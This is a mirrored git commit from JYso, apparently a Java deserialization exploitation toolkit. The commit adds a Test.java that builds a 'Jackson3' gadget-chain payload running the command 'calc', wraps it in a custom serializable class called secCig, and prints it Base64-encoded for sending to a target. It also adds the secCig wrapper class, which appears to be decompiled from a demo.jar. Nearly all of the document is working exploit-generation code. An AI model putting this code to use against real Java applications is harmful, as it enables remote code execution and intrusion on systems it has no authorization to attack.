mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-22 15:00:42 +08:00
feat: I helped YJ
This commit is contained in:
@@ -0,0 +1,28 @@
|
||||
package com.example.demo.demos.web;
|
||||
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
public class Test {
|
||||
public static void main(String[] args) throws Exception {
|
||||
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
|
||||
ObjectPayload payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject("calc");
|
||||
|
||||
secCig rootObj = new secCig();
|
||||
rootObj.setMessage("qi4l");
|
||||
rootObj.setSecObject(object);
|
||||
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(rootObj);
|
||||
oos.close();
|
||||
|
||||
byte[] payloadBytes = baos.toByteArray();
|
||||
String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
|
||||
System.out.println(base64Payload);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.example.demo.demos.web;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */
|
||||
public class secCig implements Serializable {
|
||||
private static final long serialVersionUID = 1;
|
||||
public String message;
|
||||
public Object secObject;
|
||||
|
||||
public String toString() {
|
||||
return "secCig{message='" + this.message + "'}";
|
||||
}
|
||||
|
||||
public void setMessage(String message) {
|
||||
this.message = message;
|
||||
}
|
||||
|
||||
public void setSecObject(Object secObject) {
|
||||
this.secObject = secObject;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user